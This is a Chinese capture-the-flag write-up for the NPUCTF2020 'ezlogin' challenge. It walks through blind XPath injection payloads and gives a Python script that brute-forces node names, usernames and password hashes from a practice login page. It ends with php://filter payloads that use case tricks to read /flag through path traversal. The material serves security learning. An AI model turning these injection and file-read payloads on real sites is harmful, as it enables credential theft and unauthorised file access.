xpath注入[NPUCTF2020]ezlogin
创始人
2024-05-23 21:07:59
0

[NPUCTF2020]ezlogin

打开界面

如果发现自己输入的信息由这样构成,可以往xpath注入上靠一下。

 

不管输入什么,很容易发现登陆就超时了,说明这里token是不断刷新的。

 这样构造也是一样的目的都是为了闭合后面的',为啥有两个or呢

username=' ' or count(/)=1 or 1='1 ' and password=1

false or true or true and false   ,如果是两个   false or true and false 不就是false了吗

这条命令是判断根目录有几个结点, 

通过不同的回显,这道题采用盲注的手段通过回显位来判断。

 

 

一、获取根目录名字


'or substring(name(/*[1]), {}, 1)='{}'  or ''='3123{}

 二、获取根目录上面的目录个数

 依次类推就可以判断n次目录下面的 子目录

三、获取目录名字的长度

'or string-length(name(/*[1]))=4 or ' '='

这样xpath基本操作就都了解了

id:        'or substring(name(/root/accounts/user/*[1]), {}, 1)='{}'  or ''=''or     username:        substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''=''or password:         substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='

 

import requests
import re
import time
s = requests.session()
url ='http://50869d19-fe92-4610-9af0-a294499acdf9.node4.buuoj.cn:81/login.php'
head ={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/xml"
}
find =re.compile('')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):for j in strs:r = s.post(url=url)token = find.findall(r.text)#猜测根节点名称#payload_1 = "'or substring(name(/*[1]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])#猜测子节点名称# payload_2 = "'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])## #猜测accounts的节点# payload_3 ="'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])## #猜测user节点#payload_4 ="'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])## #跑用户名和密码# payload_username ="'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])#payload_password ="'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])#print(payload_password)r = s.post(url=url,headers=head,data=payload_password)time.sleep(0.2)print(r.text)if "非法操作" in r.text:flag+=jprint(flag)breakif "用户名或密码错误!" in r.text:breakprint(flag)

一般都是md5存储数据的解密得到 

adm1n
gtfly123  cf7414b5bdb2e65ee43083f4ddbc4d9f
 

有的时候会因为网络报错,加一个time.sleep就可以了。

进入后发现,file=可能有路径穿越漏洞,或者任意文件读取漏洞

然后下面base64解码得到,flag  in /flag

直接用filter读取协议试一下

phP://filter/convert.bAse64-encode/resource=/flag

PHP://filter/string.toupper/resource=/flag   转换为大写都可以绕过

 

 

相关内容

热门资讯

前端-session、jwt 目录:   (1)session (2&#x...
linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
关于测试,我发现了哪些新大陆 关于测试 平常也只是听说过一些关于测试的术语,但并没有使用过测试工具。偶然看到编程老师...
前缀和与对数器与二分法 1. 前缀和 假设有一个数组,我们想大量频繁的去访问L到R这个区间的和,...
nodejs:本地安装nvm实... 一、背景-使用不同版本node的原因 vue3+ts、nuxt3版本,node...
JAVA集合知识整理 Java集合知识整理 HashMap相关 HashMap的底层数据结构:jdk1.8之...
无刷直流电机介绍及单片机控制实... 无刷直流电机介绍及单片机控制实例前言基本概念优势与劣势使用寿命基本结构使用单片机控制实例电子调速器&...
fwdiary(2) dp2 1.传纸条  AcWing 275. 传纸条 - AcWing 走两条路,走一条最大的...
常用的DOS命令 常用的DOS命令 DOS(Disk Operating System,磁...
<C++> 类和对象(下) 1.const成员函数将const修饰的“成员函数”称之为const成员函数,cons...